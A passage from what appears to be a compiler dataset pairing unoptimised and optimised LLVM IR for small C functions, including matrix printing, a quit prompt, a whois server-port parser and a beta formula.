%57 = add nsw i32 %47, %56
%58 = icmp sgt i32 %38, %57
br i1 %58, label %59, label %96
59: ; preds = %29
%60 = load ptr, ptr %5, align 8
%61 = load i32, ptr %7, align 4
%62 = sext i32 %61 to i64
%63 = mul nsw i64 %62, %13
%64 = getelementptr inbounds i32, ptr %60, i64 %63
%65 = load i32, ptr %9, align 4
%66 = sext i32 %65 to i64
%67 = getelementptr inbounds i32, ptr %64, i64 %66
%68 = load i32, ptr %67, align 4
%69 = load ptr, ptr %5, align 8
%70 = load i32, ptr %9, align 4
%71 = sext i32 %70 to i64
%72 = mul nsw i64 %71, %13
%73 = getelementptr inbounds i32, ptr %69, i64 %72
%74 = load i32, ptr %8, align 4
%75 = sext i32 %74 to i64
%76 = getelementptr inbounds i32, ptr %73, i64 %75
%77 = load i32, ptr %76, align 4
%78 = add nsw i32 %68, %77
%79 = load ptr, ptr %5, align 8
%80 = load i32, ptr %7, align 4
%81 = sext i32 %80 to i64
%82 = mul nsw i64 %81, %13
%83 = getelementptr inbounds i32, ptr %79, i64 %82
%84 = load i32, ptr %8, align 4
%85 = sext i32 %84 to i64
%86 = getelementptr inbounds i32, ptr %83, i64 %85
store i32 %78, ptr %86, align 4
%87 = load i32, ptr %9, align 4
%88 = load ptr, ptr %6, align 8
%89 = load i32, ptr %7, align 4
%90 = sext i32 %89 to i64
%91 = mul nsw i64 %90, %17
%92 = getelementptr inbounds i32, ptr %88, i64 %91
%93 = load i32, ptr %8, align 4
%94 = sext i32 %93 to i64
%95 = getelementptr inbounds i32, ptr %92, i64 %94
store i32 %87, ptr %95, align 4
br label %96
96: ; preds = %59, %29
br label %97
97: ; preds = %96
%98 = load i32, ptr %8, align 4
%99 = add nsw i32 %98, 1
store i32 %99, ptr %8, align 4
%100 = load i32, ptr %8, align 4
%101 = load i32, ptr %4, align 4
%102 = icmp slt i32 %100, %101
br i1 %102, label %29, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %97
br label %103
103: ; preds = %._crit_edge, %25
br label %104
104: ; preds = %103
%105 = load i32, ptr %7, align 4
%106 = add nsw i32 %105, 1
store i32 %106, ptr %7, align 4
%107 = load i32, ptr %7, align 4
%108 = load i32, ptr %4, align 4
%109 = icmp slt i32 %107, %108
br i1 %109, label %25, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %104
br label %110
110: ; preds = %._crit_edge3, %21
%111 = call i32 @printf(ptr noundef @.str)
%112 = load i32, ptr %4, align 4
%113 = load ptr, ptr %5, align 8
%114 = call i32 @PrintSquareMatrix(i32 noundef %112, ptr noundef %113)
%115 = call i32 @printf(ptr noundef @.str.1)
%116 = load i32, ptr %4, align 4
%117 = load ptr, ptr %6, align 8
%118 = call i32 @PrintSquareMatrix(i32 noundef %116, ptr noundef %117)
%119 = call i32 @printf(ptr noundef @.str.2)
br label %120
120: ; preds = %110
%121 = load i32, ptr %9, align 4
%122 = add nsw i32 %121, 1
store i32 %122, ptr %9, align 4
%123 = load i32, ptr %9, align 4
%124 = load i32, ptr %4, align 4
%125 = icmp slt i32 %123, %124
br i1 %125, label %21, label %._crit_edge6, !llvm.loop !9
._crit_edge6: ; preds = %120
br label %126
126: ; preds = %._crit_edge6, %3
ret void
}
declare i32 @printf(ptr noundef) #1
declare i32 @PrintSquareMatrix(i32 noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
|
; ModuleID = '/tmp/tmpagrca3wx.c'
source_filename = "/tmp/tmpagrca3wx.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [21 x i8] c"Press Enter to Quit\0A\00", align 1
@.str.1 = private unnamed_addr constant [5 x i8] c"Bye\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @handle_quit_enter(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
store ptr %0, ptr %3, align 8
%4 = call i32 @printf(ptr noundef @.str)
%5 = call i64 (...) @getchar()
%6 = icmp ne i64 %5, 0
br i1 %6, label %7, label %10
7: ; preds = %1
%8 = call i32 @printf(ptr noundef @.str.1)
%9 = call i32 @exit(i32 noundef 0) #3
unreachable
10: ; preds = %1
%11 = load ptr, ptr %2, align 8
ret ptr %11
}
declare i32 @printf(ptr noundef) #1
declare i64 @getchar(...) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpagrca3wx.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [21 x i8] c"Press Enter to Quit\0A\00", align 1
@.str.1 = private unnamed_addr constant [5 x i8] c"Bye\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @handle_quit_enter(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
store ptr %0, ptr %3, align 8
%4 = call i32 @printf(ptr noundef @.str)
%5 = call i64 (...) @getchar()
%6 = icmp ne i64 %5, 0
br i1 %6, label %7, label %10
7: ; preds = %1
%8 = call i32 @printf(ptr noundef @.str.1)
%9 = call i32 @exit(i32 noundef 0) #3
unreachable
10: ; preds = %1
%11 = load ptr, ptr %2, align 8
ret ptr %11
}
declare i32 @printf(ptr noundef) #1
declare i64 @getchar(...) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpmp94qec0.c'
source_filename = "/tmp/tmpmp94qec0.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [138 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/mrash/psad/refs/heads/master/deps/whois/whois.c\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @split_server_port(ptr noundef %0, ptr noundef %1, ptr noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca ptr, align 8
%9 = alloca i32, align 4
%10 = alloca ptr, align 8
%11 = alloca i32, align 4
store ptr %0, ptr %4, align 8
store ptr %1, ptr %5, align 8
store ptr %2, ptr %6, align 8
%12 = load ptr, ptr %4, align 8
%13 = load i8, ptr %12, align 1
%14 = sext i8 %13 to i32
%15 = icmp eq i32 %14, 91
br i1 %15, label %16, label %59
16: ; preds = %3
%17 = load ptr, ptr %4, align 8
%18 = call ptr @strchr(ptr noundef %17, i8 noundef signext 93)
store ptr %18, ptr %7, align 8
%19 = icmp ne ptr %18, null
br i1 %19, label %20, label %59
20: ; preds = %16
%21 = load ptr, ptr %7, align 8
%22 = load ptr, ptr %4, align 8
%23 = ptrtoint ptr %21 to i64
%24 = ptrtoint ptr %22 to i64
%25 = sub i64 %23, %24
%26 = sub nsw i64 %25, 1
%27 = trunc i64 %26 to i32
store i32 %27, ptr %9, align 4
%28 = load i32, ptr %9, align 4
%29 = add nsw i32 %28, 1
%30 = call i32 @malloc(i32 noundef %29)
%31 = call ptr @do_nofail(i32 noundef %30, ptr noundef @.str, i32 noundef 1231)
store ptr %31, ptr %8, align 8
%32 = load ptr, ptr %5, align 8
store ptr %31, ptr %32, align 8
%33 = load ptr, ptr %8, align 8
%34 = load ptr, ptr %4, align 8
%35 = getelementptr inbounds i8, ptr %34, i64 1
%36 = load i32, ptr %9, align 4
%37 = call i32 @memcpy(ptr noundef %33, ptr noundef %35, i32 noundef %36)
%38 = load ptr, ptr %8, align 8
%39 = load i32, ptr %9, align 4
%40 = sext i32 %39 to i64
%41 = getelementptr inbounds i8, ptr %38, i64 %40
store i8 0, ptr %41, align 1
%42 = load ptr, ptr %7, align 8
%43 = call ptr @strchr(ptr noundef %42, i8 noundef signext 58)
store ptr %43, ptr %7, align 8
%44 = load ptr, ptr %7, align 8
%45 = icmp ne ptr %44, null
br i1 %45, label %46, label %58
46: ; preds = %20
%47 = load ptr, ptr %7, align 8
%48 = getelementptr inbounds i8, ptr %47, i64 1
%49 = load i8, ptr %48, align 1
%50 = sext i8 %49 to i32
%51 = icmp ne i32 %50, 0
br i1 %51, label %52, label %58
52: ; preds = %46
%53 = load ptr, ptr %7, align 8
%54 = getelementptr inbounds i8, ptr %53, i64 1
%55 = call i32 @strdup(ptr noundef %54)
%56 = call ptr @do_nofail(i32 noundef %55, ptr noundef @.str, i32 noundef 1237)
%57 = load ptr, ptr %6, align 8
store ptr %56, ptr %57, align 8
br label %58
58: ; preds = %52, %46, %20
br label %116
59: ; preds = %16, %3
%60 = load ptr, ptr %4, align 8
%61 = call ptr @strchr(ptr noundef %60, i8 noundef signext 58)
store ptr %61, ptr %7, align 8
%62 = icmp ne ptr %61, null
br i1 %62, label %63, label %73
63: ; preds = %59
%64 = load ptr, ptr %7, align 8
%65 = getelementptr inbounds i8, ptr %64, i64 1
%66 = call ptr @strchr(ptr noundef %65, i8 noundef signext 58)
%67 = icmp ne ptr %66, null
br i1 %67, label %68, label %73
68: ; preds = %63
%69 = load ptr, ptr %4, align 8
%70 = call i32 @strdup(ptr noundef %69)
%71 = call ptr @do_nofail(i32 noundef %70, ptr noundef @.str, i32 noundef 1240)
%72 = load ptr, ptr %5, align 8
store ptr %71, ptr %72, align 8
br label %115
73: ; preds = %63, %59
%74 = load ptr, ptr %4, align 8
%75 = call ptr @strchr(ptr noundef %74, i8 noundef signext 58)
store ptr %75, ptr %7, align 8
%76 = icmp ne ptr %75, null
br i1 %76, label %77, label %109
77: ; preds = %73
%78 = load ptr, ptr %7, align 8
%79 = load ptr, ptr %4, align 8
%80 = ptrtoint ptr %78 to i64
%81 = ptrtoint ptr %79 to i64
%82 = sub i64 %80, %81
%83 = trunc i64 %82 to i32
store i32 %83, ptr %11, align 4
%84 = load i32, ptr %11, align 4
%85 = add nsw i32 %84, 1
%86 = call i32 @malloc(i32 noundef %85)
%87 = call ptr @do_nofail(i32 noundef %86, ptr noundef @.str, i32 noundef 1245)
store ptr %87, ptr %10, align 8
%88 = load ptr, ptr %5, align 8
store ptr %87, ptr %88, align 8
%89 = load ptr, ptr %10, align 8
%90 = load ptr, ptr %4, align 8
%91 = load i32, ptr %11, align 4
%92 = call i32 @memcpy(ptr noundef %89, ptr noundef %90, i32 noundef %91)
%93 = load ptr, ptr %10, align 8
%94 = load i32, ptr %11, align 4
%95 = sext i32 %94 to i64
%96 = getelementptr inbounds i8, ptr %93, i64 %95
store i8 0, ptr %96, align 1
%97 = load ptr, ptr %7, align 8
%98 = getelementptr inbounds i8, ptr %97, i32 1
store ptr %98, ptr %7, align 8
%99 = load ptr, ptr %7, align 8
%100 = load i8, ptr %99, align 1
%101 = sext i8 %100 to i32
%102 = icmp ne i32 %101, 0
br i1 %102, label %103, label %108
103: ; preds = %77
%104 = load ptr, ptr %7, align 8
%105 = call i32 @strdup(ptr noundef %104)
%106 = call ptr @do_nofail(i32 noundef %105, ptr noundef @.str, i32 noundef 1251)
%107 = load ptr, ptr %6, align 8
store ptr %106, ptr %107, align 8
br label %108
108: ; preds = %103, %77
br label %114
109: ; preds = %73
%110 = load ptr, ptr %4, align 8
%111 = call i32 @strdup(ptr noundef %110)
%112 = call ptr @do_nofail(i32 noundef %111, ptr noundef @.str, i32 noundef 1253)
%113 = load ptr, ptr %5, align 8
store ptr %112, ptr %113, align 8
br label %114
114: ; preds = %109, %108
br label %115
115: ; preds = %114, %68
br label %116
116: ; preds = %115, %58
%117 = load ptr, ptr %5, align 8
%118 = load ptr, ptr %117, align 8
store ptr %118, ptr %7, align 8
br label %119
119: ; preds = %128, %116
%120 = load ptr, ptr %7, align 8
%121 = load i8, ptr %120, align 1
%122 = icmp ne i8 %121, 0
br i1 %122, label %123, label %131
123: ; preds = %119
%124 = load ptr, ptr %7, align 8
%125 = load i8, ptr %124, align 1
%126 = call signext i8 @tolower(i8 noundef signext %125)
%127 = load ptr, ptr %7, align 8
store i8 %126, ptr %127, align 1
br label %128
128: ; preds = %123
%129 = load ptr, ptr %7, align 8
%130 = getelementptr inbounds i8, ptr %129, i32 1
store ptr %130, ptr %7, align 8
br label %119, !llvm.loop !6
131: ; preds = %119
ret void
}
declare ptr @strchr(ptr noundef, i8 noundef signext) #1
declare ptr @do_nofail(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @malloc(i32 noundef) #1
declare i32 @memcpy(ptr noundef, ptr noundef, i32 noundef) #1
declare i32 @strdup(ptr noundef) #1
declare signext i8 @tolower(i8 noundef signext) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpmp94qec0.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [138 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/mrash/psad/refs/heads/master/deps/whois/whois.c\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @split_server_port(ptr noundef %0, ptr noundef %1, ptr noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca ptr, align 8
%9 = alloca i32, align 4
%10 = alloca ptr, align 8
%11 = alloca i32, align 4
store ptr %0, ptr %4, align 8
store ptr %1, ptr %5, align 8
store ptr %2, ptr %6, align 8
%12 = load ptr, ptr %4, align 8
%13 = load i8, ptr %12, align 1
%14 = sext i8 %13 to i32
%15 = icmp eq i32 %14, 91
br i1 %15, label %16, label %59
16: ; preds = %3
%17 = load ptr, ptr %4, align 8
%18 = call ptr @strchr(ptr noundef %17, i8 noundef signext 93)
store ptr %18, ptr %7, align 8
%19 = icmp ne ptr %18, null
br i1 %19, label %20, label %59
20: ; preds = %16
%21 = load ptr, ptr %7, align 8
%22 = load ptr, ptr %4, align 8
%23 = ptrtoint ptr %21 to i64
%24 = ptrtoint ptr %22 to i64
%25 = sub i64 %23, %24
%26 = sub nsw i64 %25, 1
%27 = trunc i64 %26 to i32
store i32 %27, ptr %9, align 4
%28 = load i32, ptr %9, align 4
%29 = add nsw i32 %28, 1
%30 = call i32 @malloc(i32 noundef %29)
%31 = call ptr @do_nofail(i32 noundef %30, ptr noundef @.str, i32 noundef 1231)
store ptr %31, ptr %8, align 8
%32 = load ptr, ptr %5, align 8
store ptr %31, ptr %32, align 8
%33 = load ptr, ptr %8, align 8
%34 = load ptr, ptr %4, align 8
%35 = getelementptr inbounds i8, ptr %34, i64 1
%36 = load i32, ptr %9, align 4
%37 = call i32 @memcpy(ptr noundef %33, ptr noundef %35, i32 noundef %36)
%38 = load ptr, ptr %8, align 8
%39 = load i32, ptr %9, align 4
%40 = sext i32 %39 to i64
%41 = getelementptr inbounds i8, ptr %38, i64 %40
store i8 0, ptr %41, align 1
%42 = load ptr, ptr %7, align 8
%43 = call ptr @strchr(ptr noundef %42, i8 noundef signext 58)
store ptr %43, ptr %7, align 8
%44 = load ptr, ptr %7, align 8
%45 = icmp ne ptr %44, null
br i1 %45, label %46, label %58
46: ; preds = %20
%47 = load ptr, ptr %7, align 8
%48 = getelementptr inbounds i8, ptr %47, i64 1
%49 = load i8, ptr %48, align 1
%50 = sext i8 %49 to i32
%51 = icmp ne i32 %50, 0
br i1 %51, label %52, label %58
52: ; preds = %46
%53 = load ptr, ptr %7, align 8
%54 = getelementptr inbounds i8, ptr %53, i64 1
%55 = call i32 @strdup(ptr noundef %54)
%56 = call ptr @do_nofail(i32 noundef %55, ptr noundef @.str, i32 noundef 1237)
%57 = load ptr, ptr %6, align 8
store ptr %56, ptr %57, align 8
br label %58
58: ; preds = %52, %46, %20
br label %116
59: ; preds = %16, %3
%60 = load ptr, ptr %4, align 8
%61 = call ptr @strchr(ptr noundef %60, i8 noundef signext 58)
store ptr %61, ptr %7, align 8
%62 = icmp ne ptr %61, null
br i1 %62, label %63, label %73
63: ; preds = %59
%64 = load ptr, ptr %7, align 8
%65 = getelementptr inbounds i8, ptr %64, i64 1
%66 = call ptr @strchr(ptr noundef %65, i8 noundef signext 58)
%67 = icmp ne ptr %66, null
br i1 %67, label %68, label %73
68: ; preds = %63
%69 = load ptr, ptr %4, align 8
%70 = call i32 @strdup(ptr noundef %69)
%71 = call ptr @do_nofail(i32 noundef %70, ptr noundef @.str, i32 noundef 1240)
%72 = load ptr, ptr %5, align 8
store ptr %71, ptr %72, align 8
br label %115
73: ; preds = %63, %59
%74 = load ptr, ptr %4, align 8
%75 = call ptr @strchr(ptr noundef %74, i8 noundef signext 58)
store ptr %75, ptr %7, align 8
%76 = icmp ne ptr %75, null
br i1 %76, label %77, label %109
77: ; preds = %73
%78 = load ptr, ptr %7, align 8
%79 = load ptr, ptr %4, align 8
%80 = ptrtoint ptr %78 to i64
%81 = ptrtoint ptr %79 to i64
%82 = sub i64 %80, %81
%83 = trunc i64 %82 to i32
store i32 %83, ptr %11, align 4
%84 = load i32, ptr %11, align 4
%85 = add nsw i32 %84, 1
%86 = call i32 @malloc(i32 noundef %85)
%87 = call ptr @do_nofail(i32 noundef %86, ptr noundef @.str, i32 noundef 1245)
store ptr %87, ptr %10, align 8
%88 = load ptr, ptr %5, align 8
store ptr %87, ptr %88, align 8
%89 = load ptr, ptr %10, align 8
%90 = load ptr, ptr %4, align 8
%91 = load i32, ptr %11, align 4
%92 = call i32 @memcpy(ptr noundef %89, ptr noundef %90, i32 noundef %91)
%93 = load ptr, ptr %10, align 8
%94 = load i32, ptr %11, align 4
%95 = sext i32 %94 to i64
%96 = getelementptr inbounds i8, ptr %93, i64 %95
store i8 0, ptr %96, align 1
%97 = load ptr, ptr %7, align 8
%98 = getelementptr inbounds i8, ptr %97, i32 1
store ptr %98, ptr %7, align 8
%99 = load ptr, ptr %7, align 8
%100 = load i8, ptr %99, align 1
%101 = sext i8 %100 to i32
%102 = icmp ne i32 %101, 0
br i1 %102, label %103, label %108
103: ; preds = %77
%104 = load ptr, ptr %7, align 8
%105 = call i32 @strdup(ptr noundef %104)
%106 = call ptr @do_nofail(i32 noundef %105, ptr noundef @.str, i32 noundef 1251)
%107 = load ptr, ptr %6, align 8
store ptr %106, ptr %107, align 8
br label %108
108: ; preds = %103, %77
br label %114
109: ; preds = %73
%110 = load ptr, ptr %4, align 8
%111 = call i32 @strdup(ptr noundef %110)
%112 = call ptr @do_nofail(i32 noundef %111, ptr noundef @.str, i32 noundef 1253)
%113 = load ptr, ptr %5, align 8
store ptr %112, ptr %113, align 8
br label %114
114: ; preds = %109, %108
br label %115
115: ; preds = %114, %68
br label %116
116: ; preds = %115, %58
%117 = load ptr, ptr %5, align 8
%118 = load ptr, ptr %117, align 8
store ptr %118, ptr %7, align 8
%119 = load ptr, ptr %7, align 8
%120 = load i8, ptr %119, align 1
%121 = icmp ne i8 %120, 0
br i1 %121, label %.lr.ph, label %133
.lr.ph: ; preds = %116
br label %122
122: ; preds = %.lr.ph, %127
%123 = load ptr, ptr %7, align 8
%124 = load i8, ptr %123, align 1
%125 = call signext i8 @tolower(i8 noundef signext %124)
%126 = load ptr, ptr %7, align 8
store i8 %125, ptr %126, align 1
br label %127
127: ; preds = %122
%128 = load ptr, ptr %7, align 8
%129 = getelementptr inbounds i8, ptr %128, i32 1
store ptr %129, ptr %7, align 8
%130 = load ptr, ptr %7, align 8
%131 = load i8, ptr %130, align 1
%132 = icmp ne i8 %131, 0
br i1 %132, label %122, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %127
br label %133
133: ; preds = %._crit_edge, %116
ret void
}
declare ptr @strchr(ptr noundef, i8 noundef signext) #1
declare ptr @do_nofail(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @malloc(i32 noundef) #1
declare i32 @memcpy(ptr noundef, ptr noundef, i32 noundef) #1
declare i32 @strdup(ptr noundef) #1
declare signext i8 @tolower(i8 noundef signext) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpyveq2gya.c'
source_filename = "/tmp/tmpyveq2gya.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpyveq2gya.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpc0xwj8x0.c'
source_filename = "/tmp/tmpc0xwj8x0.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local double @Vfunc_beta(double noundef %0, double noundef %1, double noundef %2) #0 {
%4 = alloca double, align 8
%5 = alloca double, align 8
%6 = alloca double, align 8
store double %0, ptr %4, align 8
store double %1, ptr %5, align 8
store double %2, ptr %6, align 8
%7 = load double, ptr %5, align 8
%8 = fdiv double 1.000000e+00, %7
%9 = load double, ptr %4, align 8
%10 = fmul double %8, %9
%11 = load double, ptr %4, align 8
%12 = fsub double 1.000000e+00, %11
%13 = fmul double %10, %12
%14 = load double, ptr %6, align 8
%15 = fadd double %14, 1.000000e+00
%16 = call i32 @pow(double noundef %15, i32 noundef 2)
%17 = sitofp i32 %16 to double
%18 = fmul double %13, %17
%19 = load double, ptr %6, align 8
%20 = fmul double 4.000000e+00, %19
%21 = fdiv double %18, %20
ret double %21
}
declare i32 @pow(double noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpc0xwj8x0.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local double @Vfunc_beta(double noundef %0, double noundef %1, double noundef %2) #0 {
%4 = alloca double, align 8
%5 = alloca double, align 8
%6 = alloca double, align 8
store double %0, ptr %4, align 8
store double %1, ptr %5, align 8
store double %2, ptr %6, align 8
%7 = load double, ptr %5, align 8
%8 = fdiv double 1.000000e+00, %7
%9 = load double, ptr %4, align 8
%10 = fmul double %8, %9
%11 = load double, ptr %4, align 8
%12 = fsub double 1.000000e+00, %11
%13 = fmul double %10, %12
%14 = load double, ptr %6, align 8
%15 = fadd double %14, 1.000000e+00
%16 = call i32 @pow(double noundef %15, i32 noundef 2)
%17 = sitofp i32 %16 to double
%18 = fmul double %13, %17
%19 = load double, ptr %6, align 8
%20 = fmul double 4.000000e+00, %19
%21 = fdiv double %18, %20
ret double %21
}
